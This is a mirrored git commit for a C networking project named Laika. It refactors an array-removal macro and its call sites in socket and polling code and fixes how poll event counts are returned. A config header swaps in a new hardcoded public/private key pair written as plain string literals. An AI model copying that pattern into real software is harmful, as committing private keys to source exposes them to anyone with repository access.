1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

minor laikaM_rmvarray refactoring, removed 'type' parameter

This commit is contained in:
CPunch 2022-01-31 15:54:39 -06:00
parent 6d799a7532
commit 6cab9107bb
7 changed files with 16 additions and 15 deletions

View File

@ -8,6 +8,8 @@
#include <stdio.h>
#include <string.h>
#include "lconfig.h"
#define ARRAY_START 4
#ifdef DEBUG
@ -16,6 +18,4 @@
#define LAIKA_DEBUG(...)
#endif
#include "lconfig.h"
#endif

View File

@ -6,8 +6,8 @@
#define LAIKA_VERSION_MINOR 0
/* keys */
#define LAIKA_PUBKEY "b507a9c8bc8f2c61ea019122311b64361d034ba2b6299a11628a2608ef7f4137"
#define LAIKA_PRIVKEY "4fefc9c4dba37f569432d091497b2c0e931ce78be945328e2ba57674969a3539"
#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
#endif

View File

@ -9,5 +9,4 @@
#define LAIKA_PUBKEY "@LAIKA_PUBKEY@"
#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@"
#endif

View File

@ -4,6 +4,8 @@
#include <stdio.h>
#include <setjmp.h>
#include "laika.h"
/* defines errorstack size */
#define LAIKA_MAXERRORS 32

View File

@ -15,7 +15,7 @@
}
/* moves array elements above indx down by numElem, removing numElem elements at indx */
#define laikaM_rmvarray(type, buf, count, indx, numElem) { \
#define laikaM_rmvarray(buf, count, indx, numElem) { \
int _i, _sz = ((count-indx)-numElem); \
for (_i = 0; _i < _sz; _i++) \
buf[indx+_i] = buf[indx+numElem+_i]; \

View File

@ -89,7 +89,7 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
for (i = 0; i < pList->fdCount; i++) {
if (pList->fds[i].fd == sock->sock) {
/* remove from array */
laikaM_rmvarray(PollFD, pList->fds, pList->fdCount, i, 1);
laikaM_rmvarray(pList->fds, pList->fdCount, i, 1);
break;
}
}
@ -151,7 +151,6 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
if (SOCKETERROR(nEvents))
LAIKA_ERROR("epoll_wait() failed!\n");
*_nevents = nEvents;
for (i = 0; i < nEvents; i++) {
/* add event to revent array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
@ -167,18 +166,17 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
if (SOCKETERROR(nEvents))
LAIKA_ERROR("poll() failed!\n");
*_nevents = nEvents;
/* walk through the returned poll fds, if they have an event, add it to our revents array */
for (i = 0; i < pList->fdCount && nEvents > 0; i++) {
PollFD pfd = pList->fds[i];
if (pList->fds[i].revents != 0) {
/* grab socket from hashmap */
struct sLaika_hashMapElem *_sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
tLaika_hashMapElem *elem = (tLaika_hashMapElem*)hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
/* insert event into revents array */
laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
.sock = _sock->sock,
.sock = elem->sock,
.pollIn = pfd.revents & POLLIN,
.pollOut = pfd.revents & POLLOUT
};
@ -188,6 +186,8 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
}
#endif
*_nevents = pList->reventCount;
/* return revents array */
return pList->revents;
}

View File

@ -173,7 +173,7 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) {
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
memcpy(buf, sock->inBuf, sz);
laikaM_rmvarray(uint8_t, sock->inBuf, sock->inCount, 0, sz);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz);
}
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
@ -201,7 +201,7 @@ void laikaS_readENC(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *p
if (crypto_box_seal_open(buf, sock->inBuf, LAIKAENC_SIZE(sz), pub, priv) != 0)
LAIKA_ERROR("Failed to decrypt!\n");
laikaM_rmvarray(uint8_t, sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, LAIKAENC_SIZE(sz));
}
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
@ -213,7 +213,7 @@ uint8_t laikaS_readByte(struct sLaika_socket *sock) {
uint8_t tmp = *sock->inBuf;
/* pop 1 byte */
laikaM_rmvarray(uint8_t, sock->inBuf, sock->inCount, 0, 1);
laikaM_rmvarray(sock->inBuf, sock->inCount, 0, 1);
return tmp;
}
@ -310,7 +310,7 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed
_rawWriteExit:
/* trim sent data from outBuf */
laikaM_rmvarray(uint8_t, sock->outBuf, sock->outCount, 0, sentBytes);
laikaM_rmvarray(sock->outBuf, sock->outCount, 0, sentBytes);
*processed = sentBytes;
return errCode;